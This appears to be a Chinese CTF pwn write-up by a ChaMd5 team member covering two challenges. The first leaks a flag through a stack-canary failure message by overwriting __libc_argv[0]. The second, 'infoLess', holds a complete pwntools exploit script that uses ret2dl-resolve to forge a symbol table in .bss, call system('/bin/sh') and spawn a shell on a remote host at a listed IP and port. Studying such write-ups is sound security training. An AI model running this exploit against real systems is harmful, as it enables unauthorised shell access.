需要转载,请先联系ChaMd5安全团队授权。
未经授权请勿转载。】
From ChaMd5安全团队核心成员 hook
这题的简介纯属为了引出一个关键词canary,在缓冲区溢出保护机制里,canary是一个位于缓冲区和堆栈上的控制数据之间的一个随机值,用以监视缓冲区溢出。当缓冲区溢出时,要破坏的第一个数据通常是canary,因此对canary的失败验证可以是一个溢出的警报。(ps,为何取名为canary,可以去阅读“矿井中的金丝雀”)
回归正题,用nc(NetCat)连接ip去看看大概。
这个程序只是提供了一个输入name的功能,为了解决这个pwn题,我们先把附件下载来,用IDA6.8打开。通用套路,shift+f12查找字符串,选择“hello”那句进去
在后面双击进去函数
按下f5进行反编译,会呈现类似源码的伪代码
这里源码就很清晰了。
第一个sub_函数是从flag文件中读取内容,然后存入全局变量。
第二个sub_函数则是接受用户输出,并做了长度检查,要求<10个字符,否则就直接退出。
再进入里面的sub_804878A函数里
发现它是使用getchar()来获取用户的输入字符,当读取到回车(ascii码为10)时停止,而且它的输入长度没有做限制。所以这里可以用‘\0’字符来截断,让外部的strlen长度检查返回一个错误的长度。
接下来,我们可以用checksec命令来查询该文件使用了哪些防护技术。
(checksec在安装pwntools后会自带的,关于pwntools的安装方法这里推荐pcat的一篇博文http://pcat.cnblogs.com/p/5451780.html)
这里发现有Canary保护,因此,直接覆盖栈上的函数地址方法行不通,但程序开头已经读取到flag了,所以想办法把读取到的flag打印出来就好。
在覆盖掉canary后,程序会异常退出,并提示”stack smashing detected ./xxxx terminated”。这里的错误信息是当函数返回时,检测到之前随机生成的canary已被改变,所以会运行程序中的__stack_chk_fail函数,打印出这些错误信息和进程名。而__stack_chk_fail函数在输出错误信息时,会用到下面的代码。
(来自https://github.com/lattera/glibc/blob/master/debug/fortify_fail.c)
其中进程名来自于__libc_argv[0],所以只要把存着flag的全局变量地址覆盖了__libc_argv[0]就好。
至于这个偏移地址通过gdb就可以轻松的算出来,所以最后整理的方法为
这里发现服务器返回的信息是以strace方式输出的,所以用grep过滤下就可得到flag。
infoLess
这种题目很多解法,当初是想着在没有信息泄漏的情况下get shell。
在这里使用了ret2dl的方法,构造了虚假的字符串表,修改了重定位中的索引,让dl_fixup返回execv函数的地址。
构造步骤就是伪造重定位字符串表,写入bss段,将伪造的地址写入dynamic索引信息,然后请求一个未执行过的函数fflush,传入binSH,执行system(“/binsh”)
exp如下:
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
from time import *
vulFunAddr = 0x080484CB
readpltAddr = 0x08048380
fflushpltAddr = 0x08048390
dynstrInDynamicAddr = 0x08049750
bssAddr = 0x08049820
strTable = ['', 'libc.so.6','_IO_stdin_used', 'fflush', 'stdin', 'read', 'stdout', 'stderr', 'setvbuf','__libc_start_main', '__gmon_start__', 'GLIBC_2.0', '']
strTable[3] = 'system'
#将伪造的dynstr表中的fflush函数给换成system
binShellStr = '/bin/sh\0'
expOffset = 22
payloadHead = 'a'*expOffset
def writeStrTableToBSS(baseAddr):
tempBSS = baseAddr
#循环写入伪造的dynstr表
for i in strTable:
str = i + chr(0)
payloadTemp = payloadHead + p32(readpltAddr) + p32(vulFunAddr) + p32(0)+ p32(tempBSS) + p32(len(str)+1)
p.send(payloadTemp)
sleep(0.1)
p.send(str)
tempBSS = tempBSS + len(str)
sleep(0.1)
p = remote('123.206.81.66', 8888)
#p = remote('127.0.0.1', 8888)
#p = process('./infoless')
context.log_level = 'debug'
#step 1: 将binShStr写入可写的bss段中
payload1 = payloadHead + p32(readpltAddr) +p32(vulFunAddr) + p32(0) + p32(bssAddr) + p32(8)
p.send(payload1)
sleep(0.1)
p.send(binShellStr)
sleep(0.1)
#step 2: 将伪造的dynstr表写入binShStr后面
dynstrInBSSAddr = bssAddr +len(binShellStr) + 4
writeStrTableToBSS(dynstrInBSSAddr)
#step 3: 将伪造的dynstr表地址写入dynamic中相对应的索引地址
payload2 = payloadHead + p32(readpltAddr) +p32(vulFunAddr) + p32(0) + p32(dynstrInDynamicAddr) + p32(4)
p.send(payload2)
sleep(0.1)
p.send(p32(dynstrInBSSAddr))
sleep(0.1)
#step 4:getshell
payload3 = payloadHead + p32(fflushpltAddr)+ p32(vulFunAddr) + p32(bssAddr)
p.send(payload3)
sleep(0.1)
p.interactive()
因为网络的问题,有时可能执行不成功,重执行下就好。